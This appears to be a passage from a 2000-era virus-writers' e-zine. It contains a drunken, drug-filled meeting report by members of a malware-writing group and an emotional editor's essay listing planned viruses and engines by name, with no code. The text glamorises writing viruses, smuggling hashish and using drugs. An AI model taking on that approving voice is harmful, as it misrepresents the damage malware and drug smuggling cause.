2000, at 12:00 CET. ³ ³ ³ ³ ³ ³ Ppl that were officially on the meeting: ³ ³ ³ ³ - Benny/29A (Benny es typicamento Chec :) ³ ³ - GigaByte (the only one female coder, alcoholic and pothead :) ³ ³ - GriYo/29A (say weeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeed :) ³ ³ - Maia (aka Odyssey) ³ ³ - Ratter ³ ³ - Skag (small hacker, big human) ³ ³ - Mort/MATRiX ³

³ ³ ³

³ ³ ³ ³ ³

-

Alko Axe Prizzy/29A (He doesn't spread viruses, but knowledge ;) Igi ( http://www.viry.cz )

³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ´ Start of the meeting ³ÄÄÄÄÄ¿ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³ ³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ÀÄÄÄÄÄÄ>³ The first day I was waiting for GigaByte and Skag. GigaByte ³ ³ arrived at 2 o'clock with her grandfather. All the day I was ³ ³ drinking beerz in the pub and when Skag (he is one hacker, living ³ ³ in Brno) arrived, I was already pretty drunk. We, GigaByte, Skag ³ ³ and me, started to drink more and more. GigaByte got drunk from ³ ³ two small beerz and one Becherovka. After we left the pub, we ³ ³ decided to teach GigaByte smoke a weed :) Unfortunately, GigaByte ³ ³ didn't get stoned, becoz I hadn't enough weed :/ We went to one ³ ³ disco (called Relax), where we had some tequillas. GigaByte got ³ ³ totally drunk from two Vodka+Redbull. Heh, she told me that in ³ ³ Belgium its very favourite combination. I also had one Vodka with ³ ³ Redbull, but I wasn't drunk. But the tomorrow's morning, I felt ³ ³ really pretty bad. I had totally red eyes and it took me some time³ ³ to start to walk :). Fuck Giga, with Vodka and Redbull you are ³ ³ drunk only the next day or what?! :P Hehehe... ³ ³ ³ ³ We also didn't forget that day to talk about viruses and hang on ³ ³ IRC in cybercaffee :) ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ´ The famous 2nd day ³ÄÄÄÄÄ¿ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³ ³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ÀÄÄÄÄÄÄ>³ 2nd day we waited for GriYo, Maia (GriYo's gf), Ratter, Mort and ³ and Axe. Ratter arrived in the morning, Mort and Axe later. ³ GriYo told me that he will arrive to Prague and asked me, if I ³ could find someone to get him from Prague to Brno. I couldn't ³ find anyone, so I told GriYo to take a taxi. Finally, my father ³ ³ found someone, but it was already late to say it to GriYo. GriYo ³ ³ didn't know that I will wait for him in the airport in the Prague.³ ³ Unfortunately, the airplane was late, meanwhile another airplane ³ ³ from Spain arrived. GriYo wasn't there. I waited there for one and³ ³ half of hour, then I decided to ask one lady from airport, if she ³ ³ could ask in reproductorz all airport staff and ppl for guy called³ ³ "GriYo". Hehehe, she was astonished when I said, that I'm looking ³ ³ for "GriYo", without any surname :)) Noone with "GriYo" handle was³ ³ not found, so I decided to leave. I was pretty angry, becoz I ³ ³ spent about 90 USDs for the travel and I didn't find GriYo. ³ ³ ³ ³ While I was in Prague, Ratter and GigaByte went to cybercaffee. ³

³ ³ ³ ³

³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³

They gave the first infos about meeting to *-zine guys, so they could informate other ppl on their website. Axe and Mort also arrived. They were all waiting for me in the pub.

³ ³ ³ ³ I arrived back to the pub in the evening, ofcoz without GriYo. I ³ saw GigaByte, Axe and Mort sitting silently in a pub (Ratter left ³ while I was on the way to Brno). Hehehe, GigaByte is very gewd in ³ english speaking, oppositelly to Axe and Mort, and those guys were³ affraid of Giga :). I told them, that the art of speaking in ³ english is to NOT show, that you don't understand and look like ³ you do :). They replied me: "Heh, well, and what do you think that³ we did all the time you were outta here, eh?" X-DDDD ³ ³ Axe decided to leave, so I was alone with Mort and GigaByte. I ³ didn't know what to do. Perhaps wait until the pub will close, and³ then go to home... we were joking that GriYo tried to smuggle some³ weed and now he is in jail. I told him, that if there will be any ³ problem or change, to call me. And he didn't. On the other hand, ³ ppl in jail can use telephone only once time, and it's not ³ possible that he would call ME (not lawyer) and say, that he won't³ come to meeting, hehe... :DDD And that time the receptionist ³ called to the pub and said, that in a hotel there are some ³ "strange" ppl talking in spanish. Fuck!!! Finally!!! ³ I went to hotel and shouted: "Oh my g0d, GriYo, Maia, where da ³ fuck you were?!" They looked at me like to mad :) It was really ³ gewd feeling to know, that they are OK. ³ ³ We went to the pub, had a dinner, some beerz and some TYPICAL ³ CZECH DRINKS (hello Maia :), such as Becherovka. Giga got drunk ³ again, becoz she mixed it with beerz and Whiskey :) ³ ³ GriYo and Maia were a bit tired from the travel (and Giga from ³ drinking :), so they went to sleep soon. I was drinking on and on,³ and now I can't remember how did I get home. Maybe by taxi? :) ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ´ 3rd day - the party time ³ÄÄÄÄÄ¿ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³ ³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ÀÄÄÄÄÄÄ>³ That morning it was really hard. I had pretty huge hangover (I ³ slept only for 4 hours) and I had to wake up very early becoz ³ Prizzy and Alko should arrive. When we met each other, we went to ³ the pub to have some beers. That time also arrived Ratter. Giga ³ woke up with hangover too and she couldn't understand how we can ³ ³ drink 2,5 litres of beer for breakfast :) GriYo and Maia were OK. ³ ³ ³ ³ We decided to take some photos of one most famous AV company in ³ ³ Czech Republic - Grisoft (c) Software. It was really funny, becoz ³ ³ every minute could see us some AV freak and beat us :) Fortunately³ ³ noone saw us... now, almost everyone has photo(s) with some ³ ³ "weird" guys/girlz in front of the AV building :)) ³ ³ ³ ³ Then we went to one very famous pub in Brno. Everybody drank some ³ ³ ( = many :) beerz. We left after some hours to smoke some weed. ³ ³ GriYo again proved himself as very gewd guy and gave us his joint ³ ³ from hash that he smuggled from Spain. The hash was from Maroco, ³ ³ and it was a bit strong, and so some ppl get stoned immediatelly. ³

³ ³ ³ ³

³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³

Then we visited some other pubs. In one pub there weren't any ashtrays... you can imagine how the pub looked like after one hour, eh? X-D

³ ³ ³ ³ We visited cybercaffee (meanwhile Skag arrived to meeting). I and ³ GigaByte were sitting at one computer. There was pretty funny ³ discussion on IRC. GigaByte: "Benny is st0ned" GigaByte: "GigaByte³ is drunk from one beer" GigaByte: "I am NOT" GigaByte: "She is" ³ GigaByte: "I AM NOT" GigaByte: "SHE IS!" And becoz we were on IRC ³ only under Giga's nickname (so noone could know that there are two³ ppl, someone replied: "Hey GigaByte, I can see the meeting is ³ pretty hard for yer brain, eh? You are getting schyzofrenic" :)) ³ ³ After that we decided to go to park and smoke again. Prizzy and ³ Axe couldn't watch us how we are smoking to the deadness and so ³ they went home. Prizzy didn't return. ³ ³ Then we went to one restaurant where usually eat AVerz. GriYo was ³ pretty overeated. We went to one university club (to put some ³ alcohol to our blood :), GriYo showed us on his notebook his ³ projects (AV program, Sniffer, IRC client, RDA engine, and many ³ other interesting programs) and after that we decided to go to ³ sleep. GriYo had full stomach and he needed to go to toilets. ³ The nearest toilets were about 100 metres from our place. GriYo ³ said "NO, I can't wait anymore", ran to the nearest building and ³ "dropped a shit" there. Hehehe, the building was the army academy!³ After that we wanted to piss the Grisoft building, but there were ³ many ppl near that. Heh, nevertheless, I think it was really gewd ³ target. Army academy in Brno in Czech Republic was infected by ³ GriYo's polymorphic stealth direct-infection one-day-resident ³ shit!!! :)) ³ ³ Another goal was that GigaByte got FIRSTLY in her life STONED. ³ Congrats Giga, keep working on yourself! :) ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ´ 4th day - the st0ned day ³ÄÄÄÄÄ¿ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³ ³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ÀÄÄÄÄÄÄ>³ Next morning - next huge hangover. This day we were walking thru ³ ³ the city. We visited churches, many pubs, crypt (we saw preserved ³ ³ corpses :), teashops (our favourite place, there we could smoke ³ ³ some very good and strong tabacco from waterpipe) and so on. ³ ³ GigaByte, well known non-smoking VXer (:-) also smoked. In the ³ ³ evening we went to our favourite park to smoke something. I won ³ ³ the contest "who will smoke more hash". Well, as Giga said, I ³ ³ looked like vampire becoz of my veeeeeeeeeery red eyes :) Many ppl³ ³ couldn't walk and talk becoz of that great amount of hash, ³ ³ including me >D. ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ´ 5th day - GriYosoft action ³ÄÄÄÄÄ¿ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³ ³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³

³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ÀÄÄÄÄÄÄ>³ Previous day, after we consumed many beerz and weed, we wanted to ³ ³ show the Grisoft (czech AV company) and to everybody our presence ³ ³ on the meeting in Brno. We wanted to make something famous on our ³ ³ meeting. We wanted to create some poster about meeting and ³ ³ distribute it all around Brno. We decided to write to A4 paper ³ ³ "GriYosoft, Vx meeting Brno 2000", sign there every visitor of the³ ³ meeting and distribute about 40 copies. At Grisoft building we ³ ³ placed there 2 copies and made some photos of that :) We did the ³ ³ same at Czech Television building, high-school, some computer ³ ³ shops and railway station, really :))) ³ ³ After that we went to pool club to celibrate :) I was drunk from ³ ³ 15 beerz I drank all the day and GigaByte from vodka+redbull ³ ³ again :) When we were totally drunk, Gigabyte showed us the source³ ³ code of Scrambler virus. Heh, GriYo and I started discussion with ³ ³ Giga on the theme "what could be done better", "what could be more³ ³ optimized" and "why is ASM better than HLLs". Although Giga could ³ ³ not talk becoz of alcohol in her blood, GriYo and I started to ³ ³ teach her assembler. Wow, Gigabyte, HLL coder started to ³ ³ understand assembler :) Also, good stuff is that she remembers ³ ³ something from that :) ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ´ 6th day - The last day ³ÄÄÄÄÄ¿ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³ ³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ÀÄÄÄÄÄÄ>³ In the morning Igi (one czech guy, he has webpage about viruses ³ ³ and antiviruses, news etc - http://www.viry.cz) arrived. Again we ³ ³ visited teashops, pubs and some parks, where we used to smoke. ³ ³ That was also the last day. Everybody was very tired from that ³ ³ non-stop drinking and smoking. Our stomachs were burned by alcohol³ ³ and pillows by dust from joints and pipes :) In the night, we ³ ³ visited one pool club... we played pool and drank more and more. ³ ³ Becoz everybody was tired and becoz GriYo, Maia and Giga had to ³ ³ wake up early, we decided to go to sleep. Meeting was in the end. ³ ³ On my way to home I and Skag sticked some GriYosoft posters in the³ ³ city... nice end of meeting :P ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ´ What happened then? ³ÄÄÄÄÄ¿ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³ ³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ÀÄÄÄÄÄÄ>³ What happened then? I also had to wake up early, becoz I went with³ ³ GriYo and Maia to Prague to the airport. Also GigaByte, although ³ ³ she was leaving in the afternoon, she wanted to see us for the ³ ³ last time. GriYo and Maia went to Amsterdam, where was the next ³ ³ meeting (it was the 6th of August). I also went to Amsterdam, in ³ ³ the 9th of August. I stayed there at Rajaat's house. ³ ³ In the 10th of August, when I arrived to Amsterdam (together with ³

³ ³ ³ ³ ³ ³ ³ ³ ³ ³

my friend), I had the meeting with GriYo and Maia in one coffeshop³ near the busstation. We smoked a lot, finally, again in Amsterdam,³ in the most beautiful city in the world. Unfortunately, we didn't ³ meet anymore, becoz of my mobil-phone, that crap (heh, when I ³ arrived back to .cz, the 2nd day some gipsy stole me that :/). ³ At Rajaat's house we smoked about 20 joints per a day, and also ³ ate magic mushrooms. That was really very nice time. ³ Well, from the 31st of July to the 17th of August, I had the best ³ time of my life. ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ´ Final words ³ÄÄÄÄÄ¿ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³ ³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ÀÄÄÄÄÄÄ>³ When I was writting this article, I forgot many details of the ³ ³ meeting. Perhaps, I forgot to write about one day, perhaps I ³ ³ wrote about non-existing day (becoz of drugs and my fantasy :), ³ ³ perhaps it happened in another days, then I wrote. ³ ³ Perhaps nothing happened and it was only dream. However, it was ³ ³ really nice dream. Thnx my friends! ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[

"A Bucket Of Letters"

]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Introductory notes to 29#5 by Lord Julus

ÄÄÄÄÄ[ (featuring passages from "War of the Worlds" by George Wells) ]ÄÄÄÄÄÄ [ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ]

"No one would have believed, in the last years of the nineteenth century, that human affairs were being watched from the timeless worlds of space. No one could have dreamed we were being scrutinized, as someone with a microscope studies creatures that swarm and multiply in a drop of water. Few men even considered the possibility of life on other planets and yet, across the gulf of space, minds immeasurably superior to ours regarded this Earth with envious eyes, and slowly and surely, they drew their plans against us."

A letter of introduction... A few words spread on the paper, a number of paragraphs meant to impress you, to raise a feeling inside of you, to make you read this magazine futhermore and give it's local color. That is what this SHOULD be, but it is not... It is merely a statement of a person who is not any more whom once he proudly used to be. An assertion meant to bore you to death probably, but, you know... I cannot help it... this is me. Please read carefully the "War of the Worlds" passages as they will give you the explanation of many concepts like "weakness", "faith", "unknown"... They are not here just to fill in the pages. They are here because I feel like exactly the humans in this story... Who are the Martians, then, you will ask? Thou shall see in a minute...

"At midnight on the twelfth of August, a huge mass of luminous gas erupted from Mars and sped towards Earth. Across two hundred million miles of void, invisibly hurtling towards us, came the first of the missiles that were to bring so much calamity to Earth. As I watched, there was another jet of gas. It was another missile, starting on its way."

I would like to ask all of you: do you feel in charge of your own life? Do you feel that you are the Master of your own self? Do you think that your life is something that you control and never shall it escape of your grip? Do you feel this? Then, you are either no more than 18 years old or you are the President of the United States (even here there could be some problems). Let me tell you, guys, which are the few priorities people have in their life, and I will explain in a second how all this crap I write links to viruses and 29A. So, the priorities are as follow: 1. family 2. job 3. hobbies This is as shortly as one could put it. Family always comes first: this is because you are borne with your family, then you choose your family when you get married and furthermore you make your own family when you have kids. So for something that is as much random as non-random, it must be on the first place. Job, of course comes second, because job means money, means social protection, means development. And by means of job you are able to support your first priority family and your third priority, the hobbies. On the last place come your own hobbies. It is more than obvious why: job takes

most of you time, family gets the rest of the free time and only a small, small part of what is still free is left for your own hobbies... Did you notice that? Did you notice that even IF you consider that the family and the job are the most important things for you, you feel the biggest frustration whenever you are not able to fulfill the least important one: the hobbies... But this is very logical! People are individuals! Individuals have personality! Personality leads to an unconscious desire of fulfilling your OWN dreams, your OWN pleasures, your OWN hobbies...

"And that's how it was for the next ten nights. A flare, spurting out from Mars - bright green, drawing a green mist behind it - a beautiful, but somehow disturbing sight. Ogilvy, the astronomer, assured me we were in no danger. He was convinced there could be no living thing on that remote, forbidding planet."

So, this is probably why I feel compelled of sending everybody my deepest apologies for not being able to fulfill all my promises. The thing is that usually I like and I do keep my promises, and also usually I don't really give a crap if somebody has anything to comment on my behalf... But the actual apologies do not come for you, they come for myself. I have to apologize to myself for not being able to fulfill all my dreams and all my desires... But I have to be honest with me: life won! Life took me over... I have lost the battle...

"It seems totally incredible to me now that everyone spent that evening as though it were just like any other. From the railway station came the sound of shunting trains, ringing and rumbling, softened almost into melody by the distance. It all seemed so safe and tranquil."

You have no idea what it means to be a dreamer... I am a mother fucking dreamer, and sorry for cursing but it's true! I dream all kinds of things... I dream with my eyes wide opened and that is when you feel more disappointed then ever: when you dream and your dreams do not come true, and not because of you, but because of the environment. I had so many dreams in programming for this year... And believe me, there is NOTHING in this world that I like more than programming... And yet, believe me or not I had no fucking time to do it!! The battle with time is not fair at all... And when you realize that you have lost, it is much, much too late... I had so many ideas during all this time, but... job was keeping me away from home and from my computer... My girlfriend was feeling ignored... My mother and my girlfriend don't get along at all... I am always in the middle... And life becomes a mess... And out of all this shit the bottom line is: you have NO time left to do what you like the most... Isn't it interesting how EVERYBODY around you thinks that whatever THEY like is better, whatever THEY think is more important, whenever and whatever THEY want to do has the biggest priority? Isn't it interesting how EVERYBODY knows better than you what is the best for YOU?!?! And what can you do? You have to comply because, remember? The family is the most important... Isn't it funny how nobody around you simply does not understand that programming for the programmer is as important as is painting for the painter? How can everybody be so bounded and blinded that they simply do not understand this?? You will not believe me, but it's the truth: as I was writing this article my mother bursted into the room kicking and screaming that I don't let her read some email message from my sister and I am just "playing" on the computer... See what I mean? THEY are always more important... It

doesn't even matter that it's my computer! It doesn't even matter that it's my e-mail address... All that matter is for "THEM" to achieve their goals... Life is a shit! "Next morning, a crowd gathered on the Common, hypnotized by the unscrewing of the cylinder. Two feet of shining screw projected when, suddenly, the lid fell off!"

As you probably understood so far, I am pretty angry. I am not angry on somebody in particular... nope... just on life. And what is scaring me is that the more I look, the more I realize that, people... this is IT! This is how LIFE is!!! You cannot do anything about it!! We are all bound to work for the rest of our miserable life to fulfill other's desires and dreams. And guess what: those, themselves feel the same way!!!! They feel their dreams are not fulfilled... They feel betrayed too! And that is why human kind is bound to be forever and ever unhappy!!!!

"A few young men crept closer to the pit. A tall funnel rose, then an invisible ray of heat leapt from man to man and there was a bright glare, as each was instantly turned to fire. Every tree and bush became a mass of flames at the touch of this savage, unearthly Heat Ray. When the smoke cleared, the little steamer had reached the misty horizon, and Carrie was safe. But the Thunder Child had vanished forever, taking with her man's last hope of victory. The leaden sky was lit by green flashes, cylinder following cylinder, and no one and nothing was left now to fight them. The Earth belonged to the Martians."

What is the most annoying is that you will always feel incapable of doing anything about it... I think that children should be told when they are borne: hey, kido! It's not long until you will not be able to desire anything, so ask for everything now when you still can! But, of course, where would be the fun of discovering life? Some say that idiots learn by themselves and smart people learn from the others. Well, personally I think that it's a combination of the two... Somewhere in the middle...

"That evening, there was a violent crash and I realized with horror that my home was now within range of the Martian's Heat Ray. At dawn, a falling star with a trail of green mist landed with a flash like summer lightning. This was the second cylinder.[...] Never before in the history of the world had such a mass of human beings moved and suffered together. This was no disciplined march it was a stampede - without order and without a goal, six million people unarmed and unprovisioned, driving headlong. It was the beginning of the rout of civilization, of the massacre of mankind."

So, after this surely boring dissertation let me tell you why do I feel this way... Briefly this is what I wanted to release in the new issue of 29A: a metamorphic engine, a polymorphic engine, a compression engine, three viruses and at least 4 articles. I have started all of them as follow: 1. Engines a. Metamorphozis b. Modularis c. Lord Julus's Lev-Zimpel Compression Engine 4. Viruses a. Win32.Rammstein b. Win32.Guyana

c. Win32.SSS (SunSet Superman) 5. Articles a. Compression part II b. Metamorphism c. Backdoors d. Local network infection e. Using errors under win32 6. Utilities a. BeholdPE As far as the viruses are concerned I was only able to finish Rammstein and I have to say I am really proud of this baby. Of course it is not finished as I have to include the compression engine, the metamorphism engine and the poly. All my articles are currently under construction as of 20th of October. I do hope to finish them in time for 29A. Modularis and LJLZ32 are also almost finished, but again... have no idea if the time will allow me to do it to after all... Also, I spent a lot of time working on the BeholdPE utility which finally came out to be quite an interesting program and really useful. Of course, I have to work some more on it, maybe turn it to Win32, but for the moment it is pretty good... About the rest,... well, if you see it in this issue, it means I have succeded... but I doubt it! I am quite sure that my friends in the 29A Group, all of them great guys, felt that I kinda drifted away from the group as my messages came always late, they were less, my contributions don't come in time... Anyway, I have to thank all of them for being so patient and I hope that this article explains most of these things...

"A fifth Machine appeared on the far bank. It raised itself to full height, flourished the funnel high in the air - and the ghostly, terrible Heat Ray struck the town. As it struck, all five Fighting Machines exulted, emitting deafening howls which roare d like thunder. [...] With a white flash, the Heat Ray swept across the river. Scalded, half- blinded and agonized, I staggered through leaping, hissing water towards the shore. I fell helplessly, in full sight of the Martians, expecting nothing but death."

What can one expect to fulfill his desires than a miracle? No, don't laugh! It's a reality... Nowadays, you need a miracle to allow you to fulfill your dreams... Ok, you might think: look at this pathetic guy... his dreams are a poly engine and some articles... Yes! So WHAT?!? Who the fuck cares what my dreams are?!? My dreams are MY DREAMS and I want to fulfill them... If I wanted to raise ants I would raise ants... If I wanted to build a pyramid I would dedicate my whole life to that desire!!! It's human nature, people! We want to do what we like to do! It is how we are built!

"I looked up and saw a third machine. It was erect and motionless, like the others. An insane resolve possessed me I would give my life to the Martians, here and now. I marched recklessly towards the Titan and saw that a multitude of black birds was circ ling and clustering about the hood. I began running along the road. I felt no fear, only a wild, trembling exultation, as I ran up the hill towards, the motionless monster. Out of the hood hung red shreds, at which the hungry birds now pecked and tore. I scrambled up to the crest of Primrose Hill, and the Martian's camp was below me. A mighty space it was, and scattered about it, in their overturned machines, were the Martians - dead... slain, after all man's devices had failed, by the humblest things upon the Earth, Bacteria. Minute, invisible, bacteria!"

I hope you did not get TOO bored of this long and full of tears article... But this is the mood I am into and this is what I transmit to you... I hope also that you had the time to read the passages from the "War of the Worlds". It shows you how a so pride kind like the humankind can be defeated in a few seconds if it is not careful enough... It also shows how it can find escape by something that people always considered and enemy... It proves that no matter how much you think things, no matter how long you make your plans, there will always be something that will tear-up your plans... And still, there will always be hope that somewhere, sometime, whenever you expect less something will arise and help you out... Maybe even something that you considered harmful... See, usually I am a very positive and happy person, so probably this is why I tried to end this introduction with a more or less positive note... The message is that regardless how BAD things are there is always HOPE... So, my dreams! here I am, hoping that someday I will be able to fulfill all of

These were the words from Lord Julus... Stay well, everybody!!! ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Lord Julus / 29A ³Û ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ßßßßßßßßßßßßßßßßßßßßßßßßßßß

Reference guide to VX sites by VirusBuster/29A

